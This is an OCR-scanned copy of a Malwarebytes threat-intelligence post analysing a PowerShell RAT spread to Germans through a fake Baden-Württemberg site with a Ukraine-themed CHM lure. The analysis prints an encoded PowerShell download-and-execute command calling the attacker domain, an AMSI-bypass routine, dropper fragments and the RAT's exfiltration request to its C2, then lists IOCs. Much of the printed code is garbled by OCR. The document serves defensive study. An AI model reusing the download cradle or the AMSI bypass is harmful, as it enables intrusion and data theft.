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Populations around the world—and in Europe in particular—are following the crisis in Ukraine very closely, and

with events unfolding on a daily basis, people are hungry for information.

Although all countries have reasons to be concerned, the situation is Germany is more complicated than most. It is
one of the few European countries to have received criticism for its attitude to the Ukraine-Russia conflict, as it
struggles to end its reliance on Russian energy, and Moscow recently imposed sanctions on Gazprom Germania,

further increasing economic tensions.

This week our analysts discovered a new campaign that plays on these concerns by trying to lure Germans with a
promise of updates on the current threat situation in Ukraine. The downloaded document is in fact decoy for a
Remote Access Trojan (RAT) capable of stealing data and executing other malicious commands on a victim’s

computer.

Decoy site lures victims with Ukraine situation

Threat actors registered an expired German domain name at collaboration-bw][.]de that was formally used as a

collaboration platform to develop new ideas for the Baden-Wiirttemberg state.

Article continues below this ad.
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The threat actors used the domain to host a website that looked like the official Baden-Wiirttemberg website,

baden-wuerttemberg.de.
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With this copycat, the attackers created the perfect placeholder for the lure they wanted their victims to download:
A file tantalising called 2022-Q2-Bedrohungslage-Ukraine (threat situation in Ukraine for Q2), offered via a

prominent blue download button.
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UKRAINE-KRISE 1® Text vorlesen 26.04,2022

Wichtig, aktuelle
Bedrohungslage zur Ukraine-
Krise

Auf dieser Webseite finden Sie stets die wichtigsten Informationen und
Hinweise im Umgang mit der aktuellen Bedrohungslage durch die Ukraine-
Krise. Bitte laden Sie sich jetzt das Dokument herunter und lesen Sie die
aktuellen Informationen durch. Das Dokument wird stets aktualisiert und ist
auf dem neuesten Stand. Unsere vorgeschlagenen Tipps sind im
Arbeitsalltag praktisch umsetzbar und sollten Sie bereits heute umsetzen.

Vielen Dank fiir Ihre Unterstitzung.

Zum Download

B 2022-Q2-Bedrohun..zip A Showall | X

An English translation of the page reads:

Important, current threat situation regarding the Ukraine crisisOn this website you will always find

File analysis

The archive file called 2022-Q2-Bedrohungslage-Ukraine contains a file named
2022-Q2-Bedrohungslage-Ukraine.chm

. The CHM format is Microsoft’s HTML help file format, which consists of a number of compiled HTML files.
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Victims will get a fake error message when they open up that file, while PowerShell quietly runs a Base64

command.

powershell /nop fw 1 fe

JAB4ADOAWWBOAGUAdAAUAFCAZQBIAFIAZQBxAHUAZQBzAHQAXQATAACAJABSADOAJABAADOAOEBEAGUAZgBhAHUABABOAFCAZQBIAFAAcgBvAHgAe QATAACAJABSADOAJABAADoAOgBHAGUACABT
AHkAcwBOAGUAbQBXAGUAYgBQAHIAbWBAAHKAKAAPADsACgAkAHKALgBDAHIAZQBKAGUAbgBOAGKAYQBsAHMAPQBbAE4AZQBOACAAQWBYAGUAZ ABIAGAAJABpAGEABABDAGEAYWBoAGUAXQABAD
oARABIAGYAYQBIAGWAJABOAGUAJAB3AGBACcgBrAEMAcgBIAGQAZQBUAHQAaQBhAGWAcWATAACASQBFAFgAKABOAGUAdwATAEBAYgBgAGUAYWBOACAATEBIAHQALgBXAGUAYgBDAGWAaQBIAGAAE A

ApAC4ARABvAHcAbgBsAGBAYQBKAFMAdABYAGKkAbgBnACgAJwBoAHQADABWAHMAOgAVACBAYWBVAGWABABhAGIAbwBYAGEAJABpAGBAbg AtAGIAdwAUAGOAZQAVAGMALgBoAHQALQBSAGEAKQA

TAAOA

After de-obfuscating the command we can see it is designed to execute a script downloaded from the fake Baden-

Wilrttemberg website, using Invoke-Expression (IEX).

$x=[Net WebRequest];
$y=%x:DefaultWebProxy;

$v=8x:GetSystemWebProxy();

$y.Credentials=[Met.CredentialCache]:DefaultNetworkCredentials

IEX(New-0bject Net WebClient). DownloadString(https://collaboration-bw.de/c.html’);
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= Get-Random -Minimum 1500 -Maximum 3000

sleep -Milliseconds
[Net.ServicePointManager]::SecurityProtocol = [iNet.SecurityProtocolType]::Tls12

= Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Domain
= Get-WmiObject -Namespace -Class AntiVirusProduct
= | ForEach-Object {
.displayName

= -join
= Invoke-RestMethod -Uri -Method GET
-match {
Write-Host
exit

sleep -Milliseconds
Invoke-WebRequest -Uri ( ) -UseBasicParsing

= (New-Object System.Net.WebClient).DownloadData(
= [System.Reflection.Assembly]::Load( )

= .EntryPoint
if ( ) {

.I_nvoke(

The downloaded script creates a folder called SecuriyHealthService in the current user directory and drops two

files into it:
MonitorHealth.cmd

and a script called Status.txt . The
.cmd

file is very simple and just executes Status.txt through PowerShell.

Finally, the downloaded script makes MonitorHealth.cmd persistent by creating a scheduled task that will execute

it each day at a specific time.

PowerShell RAT (Status.txt)

Status.txt is a RAT written in PowerShell (This Rat is a modified version of an HTTP Reverse Shell that is
available on Github). It starts its activities by collecting some information about the victim’s computer, such as the

current username and working directory, and the computer’s hostname. It also builds a unique id for the victim,
the

clientid

This data is exfiltrated as a JSON data structure sent to the server via a POST request:
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$json="{ "type": "newclient", "result": "", "pwd": + $pwd_b64 + '", "cuser": + $cuser + '", "h

However, before executing this requests the script will first bypass the Windows Antimalware Scan Interface

(AMSI) using an AES-encrypted function called bypass . It is decrypted using a generated key and IV before

execution.

function Bypass
«

[byte(]] $Aessalt = 6(
SAesPassword = "

= [system. text
[byte [1]$DecryptedContent = $Null

[byte(]]$DecryptedBytes = () ;
[Systen. 10.MemoryStrean] $MemoryStream = New-Object System.I0.MemoryStream
[ it _Rij biject

sObject = New-O0l

$AesObject.keysize = - ;
SAesObject.BlockSize = 1

1 $Key = New-Object Syst Shessalt, )

03 H ject. K 79
$ResObject. 1V = $Key.GetBytes (ShesObject.Blocksize / 1) ;
$AesObject .Mode = [Syst i i ::CBC

SCryptoStream = New-Object System.Security SAesObject or(), I ity s sWrite)

SCryptostream.Close ()

$SDecryptedBytes = $MemoryStream.ToArray() ;
SData = [System.Text.Encoding : :UTF8.GetString
SBypass = [System.Text.Encoding] : :UTF na (L
tartarcules-nam-repact $Bypass

)

$nonz = "0x00"
$hufsdf = @"
using System;
using System.Runtime.InteropServices;
public class hufsdf {
[Dlimport('kernel327)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[Dlimport('kernel327)]
public static extern IntPtr LoadLibrary(string name);
[Dlimport('kernel327)]
public static extern bool VirtualProtect(IntPtr IpAddress, UIntPtr ellead, uint fINewProtect, out uint |pflOldProtect);

}

‘@

$xsa = "OxB8"
Add-Type $hufsdf
$ian = "0x07"

$ghudlfx = [hufsdf]:LoadLibrary("$([chAR](97*89/89)+[ChAR](109*89/82)+[ChaR](115*10/10)+[chAr]([BYTe|Ox69)+[cHaR]
(46*29/29)+[Char|(55+45)+[CHAr|(108*16/16)+[CHAR]([BYte]OxEc))")

$yqm = "OxC3"

$asdjpa =
[SystemText.Encoding):UTF8.GetString([System.Convert]:FromBase64String("W2h1ZnNkZI08OkdIdFByb2NBZGRyZXNzKC
RnaHVkbGZ4LCAiIJCgoJBOBbXPDrCecrJINjwEFulJysnQnVmZicrJ2VyJykubmSy TWFsSVpFKFtjSGFSXShbQnlORYOweDQ2KS
tbY2hBUIOoMTExKjQ5LzQ5KStbQ2hhUI0oMTEOKzYXLTYxKStbQOhhUIDoWOJZVGVdMHg 2ZCkrWONo Y X JdKDYAKzIOLTIOK
SkgLXJleGxhY2UgWONoQXJdKDkyKjY1LzYIKSthQOhhUIOoW2J5VGVdMHg3IMCkrWONIQVJdKFtCWVRIXTBAN2IpKItDaGFy
XSg3NyszMy0zMykrW2NIYX JdKDExMCkrW2NIQXJdKFtie XRFXTBAN2QpKSIp™))

$ihohaeoh = iex($asdjpa)

$xwe = "0xB0"

$p=0

[hufsdf]:VirtualProtect($ihohaeah, [uint32]5, 0x40, [ref]$p) | Out-Null

$awpt = "Ox57"

$afril = [Byte[]] ($xsa,$awpt, $nonz, $ian, + $xwe,+$ygm)

[System. Runtime.InteropServices Marshal]:Copy($afril, 0, $ihohaech, 6)
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This RAT has the following capabilities:

e Download(type: DOWNI04D): Download files from server

o Upload(type: UPL04D): Upload file to the server

e LoadPS1(type: LO4DPS1): Load and execute a PowerShell script
e Command(type: COMMA4ND): Execute a specific command

German command and control server

The attack was thoughtfully carried out—even ensuring that the stolen data was sent to a German domain name,

kleinm[.]de, to avoid suspicion.

‘ Wireshark - Follow HTTP Stream (tcp.stream eq 4) - 3473c2ch-e7a3-41af-ael... — O x

HTTP/1.1 18@ Continue
content-length: @

POST / HTTP/1.1

X-Request-ID: 8857b8263726efc2bfb7feldabc59f2c

User-Agent: Mozilla/5.8 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/51.8.2784.183 Safari/537.36

Content-Type: gpplication/json

Host: kleinm.de
Content-Length: 281
Expect: 18@-continue
Connection: Keep-Alive

{"type newclient™, "result":"",

s 0 =

CL.ISEF'"'" "'"UE""I_"

Clientid QU /1.1 562 tod

Gateway

It is not easy to attribute this activity to a specific actor, and there are no solid indicators to support attribution.
Based on motivation alone, we hypothesise that a Russian threat actor could be targeting German users, but

without clear connections in infrastructure or similarities to known TTPs, such attribution is weak.

The Malwarebytes Threat Intelligence team continues to monitor attacks taking advantage of the warin Ukraine

while ensuring our customers are protected.

Page 7 of 9


http://www.threatdown.com/wp-content/uploads/2024/06/POST.png
http://www.threatdown.com/wp-content/uploads/2024/06/POST.png
https://www.threatdown.com/blog/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/

https://blog.malwarebytes.com /threat-intelligence/2022 /05 /custom-power shell-rat-targets-germans-seeking-information-about-the-ukraine-crisis/
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&« c ® Malwarebytes Browser Guard | chrome-extension://ihgjicgdanjaechkgeegckofjjedodee/app/eventpages/blockhtm... |2 ¢ “ B 2

Malwarebytes| Browser Guard

Website blocked due to
compromised

Website blocked: collaboration-bw.de
Malwarebytes Browser Guard blocked this website
because it may contain malware activity.

We strongly recommend you do not continue.

GO BACK ‘ CONTINUE TO SITE @

[ Do not block this site again for malware

What is compromised?

Compromised sites (or servers) are otherwise legitimate sites that are being used by
hackers without the owner's knowledge. Compromised sites are often used to house
and spread malware.

Learn even more

Indicators of Compromise (IOCs)
Phishing site
collaboration-bw[.]de/bedrohung-ukr.html

Lure

2022-Q2-Bedrohungslage-Ukraine.zip
2430f68285120686233569e51e2147914dc87f82c7dbdf07fe0c34dbblaca77c
2022-Q2-Bedrohungslage-Ukraine.chm
80bad7e0d5a5d2782674bb8334dcca03534aa831c37aebb5962dalcd1bec4130

Status.txt
a5d8beaa832832576ca97809bedeee9441eb6907752a7e1f9a390b29bbb9felf

MonitorHealth.cnd
fc71522a4125ca4bdc5e5deca4a6498e7f2da4408614c2e1284c3ae8c083a5fd

C2

kleinm[.]de

MITRE ATT&CK
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Tactic ID Name Description

Command and
Execution T1059  Scripting Starts cmd.exe to run hh.exe

Interpreter

Executes PowerShell script to

download and execute a script

Executes task scheduler to add
Persistence T1053  Scheduled Task/Job  MonitorHealth.cmd as a daily
task

File and Directory . i
Defense o Uses attrib.exe to hide
) T1222  Permissions ) )
evasion SecuriyHealthService folder

Modification

Source: https://blog.malwarebytes.com/threat-intelligence/2022/05/custom-powershell-rat-targets-germans-seeking-information-about-the-ukra

ine-crisis/
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